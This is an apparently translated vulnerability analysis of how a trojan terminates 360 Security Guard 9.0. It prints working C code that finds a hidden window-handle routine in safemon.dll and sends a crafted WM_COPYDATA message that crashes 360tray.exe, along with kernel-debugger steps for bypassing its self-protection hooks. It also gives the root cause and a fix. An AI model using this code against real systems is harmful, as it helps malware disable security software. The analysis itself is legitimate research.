
注意: 本文的测试环境是360 Security Guard 9.0,最新版本的Security Guard已修复此漏洞
现象
运行特定的木马后,可以关闭360 Security Guard. 经过反向分析,发现该木马只是运行以下代码:
HMODULE h360 =GetModuleHandle(TEXT("safemon.dll"));
int i = 0;
for (i = 0; i<0x30000; i++)
{
if (memcmp((BYTE *)(h360+i), "\x83\xEC\x10\x56\x8D\x44\x24\x04\x50",9)==0)
{
break;
}
}
if (i==0x30000)
{
return;
}
FARPROC funcGet360HWND = (FARPROC)(h360+i);
HWND hWnd = (HWND)funcGet360HWND();
COPYDATASTRUCT cpdata;
cpdata.dwData = 0x4d47534d;
cpdata.cbData = 0x1000;
cpdata.lpData = msgbuf; //长度0x1000字节的随即数据,其中不能有连续\x00\x00
SendMessage(hWnd, WM_COPYDATA, NULL,(LPARAM)&cpdata);
我们自己运行了上述代码之后,360 Security Guard(360tray.exe)的过程将自动退出. 注意: 此程序必须是带有窗口的程序,而不是控制台程序,因为控制台程序不会加载safemon.dll.
攻击原理
上面的简单代码可以导致360被关闭. 让我们看一下这段代码的作用吗?首先获取safemon.dll的模块地址,然后每个图形界面都会加载该dll. 然后从该模块中找到功能代码. 经过分析,发现找到以下代码:
67366570 83EC 10 sub esp, 10 67366573 56 push esi 67366574 8D4424 04 lea eax, dword ptr [esp+4] 67366578 50 push eax 67366579 6A 00 push 0 6736657B 8D4C24 10 lea ecx, dword ptr [esp+10] 6736657F 51 push ecx 67366580 68 40653667 push 67366540 67366585 6A 00 push 0 67366587 6A 00 push 0 67366589 C74424 20 E48D4>mov dwordptr [esp+20], 67418DE4 ; ASCII "Q360SafeMonClass" 67366591 C74424 24 00000>mov dwordptr [esp+24], 0 67366599 C74424 28 00000>mov dwordptr [esp+28], 0 673665A1 FF15 10D34067 call dword ptr [<&KERNEL32.GetCurrentProcess>] ; kernel32.GetCurrentProcess 673665A7 50 push eax 673665A8 FF15 58D14067 call dword ptr[<&KERNEL32.CreateRemoteThread>] ; kernel32.CreateRemoteThread 673665AE 8BF0 mov esi,eax 673665B0 85F6 test esi, esi 673665B2 74 10 je short 673665 673665B4 6A FF push -1 673665B6 56 push esi 673665B7 FF15 24D14067 call dword ptr [<&KERNEL32.WaitForSingleObject>] ; kernel32.WaitForSingleObject 673665BD 56 push esi 673665BE FF15 20D34067 call dword ptr[<&KERNEL32.CloseHandle>] ; kernel32.CloseHandle 673665 8B4424 10 mov eax, dword ptr [esp+10] 673665C8 5E pop esi 673665C9 83 10 add esp, 10 673665CC C3 retn
它的作用是找到Q360SafeMonClass的窗口句柄. 找到此代码后,它将执行此代码以获取窗口句柄. 为什么不使用FindWindow直接找到它?根据分析,360应该已经做了一些保护,我担心找不到.

找到此窗口后,它将向他发送WM_COPYDATA消息. 附件消息COPYDATASTRUCT结构dwData为0x4d47534d,数据长度为0x1000,内容为随机数据.
我编写了一个模拟上述功能的程序后,成功结束了360tray的过程,证明了原理是正确的.
漏洞调试
关闭360tray如此简单的原因是什么,我决定调试360,并启动OD以准备附加360tray进程,但发现它无法附加,并由360保护. 如果要调试360,必须首先删除保护.
使用XueTr查看360的内核挂钩点并尝试将其还原:

还原后,OD附件仍然失败,并且刷新的挂接点已还原. 当然,360必须保护自己. 因此,windbg开始双机调试并在挂钩点下写入断点,以便在此处恢复360驱动程序时,我们将其终止.

然后

kd> eb f747ed78 c3 kd> u f747ed78 Hookport+0xcd78: f747ed78 c3 ret f747ed79 ff558b call dword ptr [ebp-75h] f747ed7c ec in al,dx f747ed7d 51 push ecx f747ed7e 51 push ecx f747ed7f 8d45fc lea eax,[ebp-4] f747ed82 50 push eax f747ed83 ff1594ff47f7 call dword ptr [Hookport+0xdf94 (f747ff94)] kd> g
这时候,只要还原内核挂钩点,360就会哑巴,然后成功使用OD附加360托盘进程:

漏洞原理
调试后,发现导致360错误退出的地方是在模块360safemonpro.tpi中内联编译的vsnwprintf. 从这里调用它:


va_list参数包含我们的WM_COPYDATA消息传递的数据,然后在内部输入_woutput_l时发生错误:


相应的源代码是:
output.c
/*textlen now contains length in multibyte chars */
} else{
if(text.wz== NULL) /* NULLpassed, use special string */
text.wz = __wnullstring;
bufferiswide= 1;
pwch= text.wz;
while(i-- && *pwch) //这里出错了
++pwch;
textlen= (int)(pwch- text.wz); /* in wchar_ts*/
/*textlen now contains length in wide chars */
}
使用360似乎没有错. 没有诸如溢出之类的漏洞. 我的分析认为这是微软挖的坑. 不幸的是,360陷入了困境. WM_COPYDATA数据的不正确处理导致未映射的访问. 记忆.
以下是从Internet传输WM_COPYDATA数据的原理:
跨线程的WM_COPYDATA没有使用共享内存,反而复制了两次数据 发送者SendMessage->xxxSendMessageTimeout->xxxInterSendMsgEx(UserAllocPoolWithQuota分配内核内存,将用户数据复制到内核空间)->SetWakeBit唤醒接受者->SetWakeBit等待应答 接受者xxxReceiveMessage->XXXSENDMESSAGETOCLIENT(宏)->ScSendMessageSMS(也是宏)->SfnCOPYDATA(sender side)->CaptureCallbackData(把数据从内核空间复制到用户空间)->KeUserModeCallback(转到用户模式)->SfnCOPYDATA(receiver side)->窗口过程->回到内核模式,应答发送者...........
因此,传输的数据不是新分配的堆,并且0x1000是每单位长度映射的内存空间,该空间没有开始和结束. 一旦使用某些字符串操作函数直接访问该空间,就很容易导致对未映射内存的越界访问.
为了证明这一理论,我们可以自己编写一个WM_COPYDATA,这是一个消息处理功能,可以模拟漏洞的生成过程:
BOOL CrecvDlg::OnCopyData(CWnd* pWnd, COPYDATASTRUCT* pCopyDataStruct)
{
wchar_t buf[0x2000]={0};
_snwprintf(buf, 0x2000, L"url=%s", pCopyDataStruct->lpData);
return CDialog::OnCopyData(pWnd, pCopyDataStruct);
}

此代码似乎没有问题. 它直接将传入的lpData视为字符串. 让我们编写另一个发送函数:
HWND hWnd=FindWindowA("#32770","recv");
if (hWnd)
{
int len=0x1000; //这一定要是0x1000的整数倍
char*buf=new char[len];
memset(buf, 0x41, len);
COPYDATASTRUCTcpdata;
cpdata.dwData = 0x4d47534d;
cpdata.cbData = len;
cpdata.lpData = buf;
SendMessage(hWnd, WM_COPYDATA,NULL, (LPARAM)&cpdata);
delete[] buf;
}
运行发送消息后,接收到消息的程序报告了一个错误,而错误点就是刚刚分析的地方.

摘要
严格来说,不应将导致360终止的问题视为漏洞,但是由于Microsoft并未使用COPYDATASTRUCT.lpData对内存进行某些要求,因此正常的库函数访问可能会导致错误. 为了安全地使用COPYDATASTRUCT.lpData,应首先复制此内存,然后再执行操作.
另一方面,此漏洞指导我们寻找360漏洞的方向. 这些漏洞可能存在于用户可以控制输入的地方.

Jiaotu Technology是一家专注于服务器安全性的国内制造商. 交大攻防实验室是公司的部门,专门研究攻击和渗透. 这是最新的攻击技术研究氛围. 欢迎对攻击,渗透和Web漏洞挖掘感兴趣. 丹尼尔和小牛队加入我们!如有兴趣,请联系: ,工作地点: 北京
本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/shouji/article-307594-1.html
易烊千玺真是好看极了